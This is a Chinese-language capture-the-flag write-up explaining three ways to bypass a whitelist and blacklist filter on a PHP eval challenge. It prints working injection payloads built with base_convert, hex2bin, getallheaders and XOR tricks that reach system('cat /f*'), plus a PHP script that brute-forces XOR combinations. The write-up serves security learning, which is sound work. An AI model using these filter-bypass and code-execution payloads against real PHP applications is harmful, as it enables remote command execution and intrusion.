目录
hex2bin bin2hex
base_convert
动态函数
第一种解法 通过get获取参数
绕过
第二种解法 读取请求头
getallheaders
echo a,b
第三种解法 异或获得更多字符
这道题也是很有意思!
通过规定白名单和黑名单 指定了 函数为数学函数 并且参数也只能是规定在白名单中的参数
我们首先要了解 通过进制转换执行命令的第一时间就是想到 hex2bin/bin2hex
hex2bin bin2hex
这个函数可以将十六进制转换为ASCII码 从而实现数字到字符
所以我们可以通过这里的
接着我们需要了解 base_convert()函数
base_convert
这函数是可以将任意进制进行互相转换
我们这里给出例子
这里的hex2bin是36进制 所以这里可以将十进制转换为字符形式
动态函数
第一种解法 通过get获取参数
我们无法实现system(cat /flag) 因为36进制不接受特殊的符号 例如空格 所以我们无法直接获取到指令
但是我们换位思考一下
$a($b)
$a=system
$b=cat /f*
最后是不是就是 system(cat /f*)
现在问题在于我们如何接收到参数
这里主要就是通过GET POST方式
_GET[1](_GET[2])
1=system
2=cat /f*
是不是就等于 system(cat /f*)
现在问题转换为如何传递字符了
因为_GET[]都不在白名单中 甚至[]还在黑名单中
这里就涉及绕过了
绕过
首先[] 可以通过 {}绕过 很简单
其次_GET 我们可以通过数学编码
我们上面了解的hex2bin 就是可以将十六进制转变为ASCII
这样我们就可以构造_GET了
首先通过 bin2hex转变
得到16进制
但是这里面存在字符
发现正则过滤了字母 所以我们要将他换为全数字 就是十进制
然后通过dechex转换
最后就是hex2bin的了 我们只需要将其的10进制转换为36进制即可
c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat /*
我给大家简化一下
c=$pi=hex2bin(5f474554) 这里相当于 c=$pi=_GET
($$pi){pi} 这里相当于 $_GET{pi}
(($$pi){abs}) 这里相当于 ($_GET{abs})
组合起来 $_GET{pi}($_GET{abs})
pi=system abs=cat /f*
就可以是 system(cat /f*)
第二种解法 读取请求头
首先 我们构造 get很绕很麻烦 我们能不能直接执行命令
既然我们无法读取get的内容 那么我们直接接受请求头呢
这里就存在一个函数
getallheaders
getallheaders
可以接受请求头
我们直接使用 exec(getallheaders) 来执行这个命令
这里还需要了了解一个知识点
echo a,b
echo a,b
ab都会输出
所以我们可以直接通过 exec a,b来执行
通过36进制换算
c=$pi=base_convert,$pi(696468,10,36)($pi(8768397090111664438,10,30)(){1})
然后通过1:cat /f*访问即可
这里getallheaders需要30进制
第三种解法 异或获得更多字符
我们能不能直接获取flag呢
我们通过异或来获取更多的字符串
我们来编写php代码
<?php
$pl=['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
for($k=1;$k<=sizeof($pl);$k++){
for($i=0;$i < 9;$i++){
for($j=1;$j <= 9; $j++){
$exp=$pl[$k]^$i.$j;
echo($pl[$k]."^".$i.$j."===>".$exp);
echo " ";
}
}
}
?>
获取_GET了
直接和第一个一样即可
?c=$pi=(mt_srand^(2).(3)).(tanh^(1).(5));$$pi{1}($$pi{0})&1=system&0=cat /f*